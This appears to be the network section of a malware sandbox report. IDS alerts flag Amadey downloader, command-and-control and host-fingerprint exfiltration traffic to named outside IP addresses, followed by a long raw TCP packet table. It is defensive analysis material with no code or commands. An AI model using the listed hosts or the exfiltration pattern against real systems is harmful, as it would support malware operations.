2024-11-21T22:04:52.776538+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49819	185.215.113.206	80	TCP
2024-11-21T22:04:54.850929+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49819	185.215.113.206	80	TCP
2024-11-21T22:04:56.156698+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49819	185.215.113.206	80	TCP
2024-11-21T22:04:57.232883+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49819	185.215.113.206	80	TCP
2024-11-21T22:05:00.766802+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49819	185.215.113.206	80	TCP
2024-11-21T22:05:01.842844+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49819	185.215.113.206	80	TCP
2024-11-21T22:05:07.982785+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49953	185.215.113.16	80	TCP
2024-11-21T22:06:06.817554+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	50105	185.215.113.43	80	TCP
2024-11-21T22:06:11.408078+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50112	31.41.244.11	80	TCP
2024-11-21T22:06:16.603787+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	50110	TCP
2024-11-21T22:06:17.986392+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50124	185.215.113.43	80	TCP
2024-11-21T22:06:19.474981+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50128	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 22:04:13.515026093 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:13.515065908 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:13.515158892 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:13.515460968 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:13.515474081 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:14.056668997 CET	49677	443	192.168.2.7	20.50.201.200
Nov 21, 2024 22:04:15.306427002 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:15.306610107 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:15.316513062 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:15.316545963 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:15.316833973 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:15.337578058 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:15.383346081 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:15.681488037 CET	49674	443	192.168.2.7	104.98.116.138
Nov 21, 2024 22:04:15.681505919 CET	49675	443	192.168.2.7	104.98.116.138
Nov 21, 2024 22:04:15.806659937 CET	49672	443	192.168.2.7	104.98.116.138
Nov 21, 2024 22:04:15.816581011 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:15.816608906 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:15.816623926 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:15.816710949 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:15.816741943 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:15.816773891 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:15.816787004 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.001086950 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.001111031 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.001209021 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.001240969 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.001281023 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.033655882 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.033679962 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.033760071 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.033785105 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.033824921 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.172817945 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.172846079 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.173016071 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.173048973 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.173091888 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.202641964 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.202670097 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.202759027 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.202768087 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.202811003 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.226650000 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.226684093 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.226762056 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.226769924 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.226814032 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.243418932 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.243439913 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.243536949 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.243547916 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.243599892 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.370894909 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.370922089 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.371198893 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.371226072 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.371288061 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.383526087 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.383553982 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.383774996 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.383783102 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.383842945 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.395550966 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.395576000 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.395760059 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.395766973 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.395915985 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.405946970 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.405972004 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.406055927 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.406061888 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.406219959 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.417993069 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.418019056 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.418101072 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.418107986 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.418154955 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.429299116 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.429323912 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.429394960 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.429402113 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.429557085 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.434338093 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.434417009 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.434429884 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.434482098 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.435080051 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.435092926 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.435108900 CET	49701	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.435113907 CET	443	49701	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.498511076 CET	49703	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.498528957 CET	443	49703	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.498528004 CET	49702	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.498626947 CET	49703	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.498630047 CET	443	49702	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.498707056 CET	49702	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.500065088 CET	49704	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.500109911 CET	443	49704	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.500272036 CET	49704	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.501606941 CET	49705	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.501645088 CET	443	49705	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.501712084 CET	49705	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.501916885 CET	49703	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.501929045 CET	443	49703	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.502059937 CET	49702	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.502091885 CET	443	49702	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.502356052 CET	49704	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.502378941 CET	443	49704	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.503283978 CET	49706	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.503309011 CET	443	49706	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.503375053 CET	49706	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.503458023 CET	49705	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.503475904 CET	443	49705	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:16.503585100 CET	49706	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:16.503597021 CET	443	49706	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.221071959 CET	443	49706	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.226435900 CET	49706	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.226455927 CET	443	49706	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.227310896 CET	49706	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.227340937 CET	443	49706	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.283025980 CET	443	49704	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.284981966 CET	49704	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.285003901 CET	443	49704	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.285008907 CET	443	49705	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.285276890 CET	443	49703	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.285657883 CET	49704	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.285667896 CET	443	49704	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.285943031 CET	49705	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.285955906 CET	443	49705	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.286346912 CET	49705	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.286353111 CET	443	49705	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.286653996 CET	49703	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.286681890 CET	443	49703	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.287030935 CET	49703	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.287036896 CET	443	49703	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.351967096 CET	443	49702	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.352646112 CET	49702	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.352673054 CET	443	49702	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.353184938 CET	49702	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.353190899 CET	443	49702	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.662875891 CET	443	49706	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.662903070 CET	443	49706	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.662970066 CET	443	49706	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.663336039 CET	49706	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.663336039 CET	49706	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.663336039 CET	49706	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.663336039 CET	49706	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.667335033 CET	49707	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.667380095 CET	443	49707	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.671343088 CET	49707	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.671343088 CET	49707	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.671381950 CET	443	49707	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.728746891 CET	443	49703	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.728827953 CET	443	49703	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.728899956 CET	49703	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.729110956 CET	49703	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.729129076 CET	443	49703	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.729149103 CET	49703	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.729155064 CET	443	49703	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.731420994 CET	443	49704	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.731447935 CET	443	49704	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.731543064 CET	49704	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.731570959 CET	443	49704	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.731893063 CET	49708	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.731925964 CET	49704	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.731935978 CET	443	49708	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.731971979 CET	49704	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.731971979 CET	49704	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.731980085 CET	443	49704	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.732043982 CET	49708	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.732156992 CET	443	49704	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.732175112 CET	49708	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.732188940 CET	443	49708	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.732192039 CET	443	49704	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.732242107 CET	49704	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.733864069 CET	49709	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.733959913 CET	443	49709	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.734069109 CET	49709	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.734180927 CET	49709	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.734211922 CET	443	49709	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.735512972 CET	443	49705	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.735582113 CET	443	49705	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.738198996 CET	49705	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.738251925 CET	49705	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.738251925 CET	49705	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.738267899 CET	443	49705	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.738281012 CET	443	49705	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.739947081 CET	49710	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.739963055 CET	443	49710	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.740041018 CET	49710	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.740154982 CET	49710	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.740165949 CET	443	49710	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.809736013 CET	443	49702	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.809756994 CET	443	49702	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.809875011 CET	49702	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.809922934 CET	443	49702	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.809999943 CET	49702	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.810050011 CET	49702	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.810064077 CET	443	49702	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.810117006 CET	49702	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.810301065 CET	443	49702	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.810333967 CET	443	49702	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.810399055 CET	49702	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.811933994 CET	49711	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.811975002 CET	443	49711	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.814199924 CET	49711	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.814326048 CET	49711	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.814357042 CET	443	49711	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:18.962841988 CET	49706	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:18.962869883 CET	443	49706	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.009738922 CET	49677	443	192.168.2.7	20.50.201.200
Nov 21, 2024 22:04:20.454806089 CET	443	49709	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.454862118 CET	443	49708	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.464744091 CET	443	49707	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.466613054 CET	49709	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:20.466711044 CET	443	49709	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.467123985 CET	49709	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:20.467139959 CET	443	49709	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.467186928 CET	49708	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:20.467207909 CET	443	49708	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.467886925 CET	49708	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:20.467892885 CET	443	49708	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.467967033 CET	49707	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:20.467997074 CET	443	49707	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.468341112 CET	49707	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:20.468348980 CET	443	49707	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.527932882 CET	443	49710	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.535361052 CET	49710	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:20.535372972 CET	443	49710	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.535862923 CET	49710	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:20.535868883 CET	443	49710	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.593683958 CET	443	49711	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.604115009 CET	49711	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:20.604145050 CET	443	49711	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.604568005 CET	49711	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:20.604581118 CET	443	49711	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.889923096 CET	443	49709	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.889988899 CET	443	49709	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.890117884 CET	49709	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:20.908906937 CET	49709	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:20.908957958 CET	443	49709	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.908989906 CET	49709	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:20.909007072 CET	443	49709	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.910842896 CET	443	49707	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.910908937 CET	443	49707	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.911077976 CET	49707	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:20.953327894 CET	49707	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:20.953327894 CET	49707	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:20.953351974 CET	443	49707	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.953366041 CET	443	49707	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.973648071 CET	443	49710	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.973726988 CET	443	49710	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:20.973855019 CET	49710	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:20.994777918 CET	49710	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:20.994807959 CET	443	49710	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:21.039916992 CET	443	49711	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:21.039987087 CET	443	49711	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:21.040122986 CET	49711	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:21.043941975 CET	49712	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:21.043972969 CET	443	49712	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:21.044049025 CET	49712	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:21.051954031 CET	443	49708	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:21.052006006 CET	443	49708	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:21.052062988 CET	49708	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:21.062410116 CET	49711	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:21.062448978 CET	443	49711	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:21.062478065 CET	49711	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:21.062491894 CET	443	49711	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:21.065355062 CET	49712	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:21.065371037 CET	443	49712	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:21.065502882 CET	49708	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:21.065502882 CET	49708	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:21.065531969 CET	443	49708	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:21.065545082 CET	443	49708	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:21.076883078 CET	49713	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:21.076919079 CET	443	49713	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:21.077035904 CET	49713	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:21.077936888 CET	49714	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:21.077954054 CET	443	49714	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:21.078062057 CET	49714	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:21.078160048 CET	49714	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:21.078186989 CET	443	49714	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:21.078727961 CET	49713	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:21.078739882 CET	443	49713	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:21.079840899 CET	49715	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:21.079850912 CET	443	49715	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:21.079942942 CET	49715	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:21.080014944 CET	49715	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:21.080020905 CET	443	49715	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:21.080987930 CET	49716	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:21.081063032 CET	443	49716	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:21.081131935 CET	49716	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:21.081304073 CET	49716	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:21.081338882 CET	443	49716	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:22.779835939 CET	443	49712	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:22.780641079 CET	49712	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:22.780661106 CET	443	49712	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:22.781074047 CET	49712	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:22.781083107 CET	443	49712	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:22.794965982 CET	443	49713	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:22.795452118 CET	49713	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:22.795468092 CET	443	49713	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:22.795896053 CET	49713	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:22.795901060 CET	443	49713	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:22.798675060 CET	443	49716	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:22.798928976 CET	49716	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:22.798974037 CET	443	49716	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:22.799278021 CET	49716	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:22.799292088 CET	443	49716	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:22.858303070 CET	443	49714	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:22.859270096 CET	49714	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:22.859294891 CET	443	49714	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:22.860461950 CET	49714	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:22.860469103 CET	443	49714	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.064620018 CET	443	49715	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.065361023 CET	49715	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.065376043 CET	443	49715	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.065726995 CET	49715	443	192.168.2.7	13.107.246.63
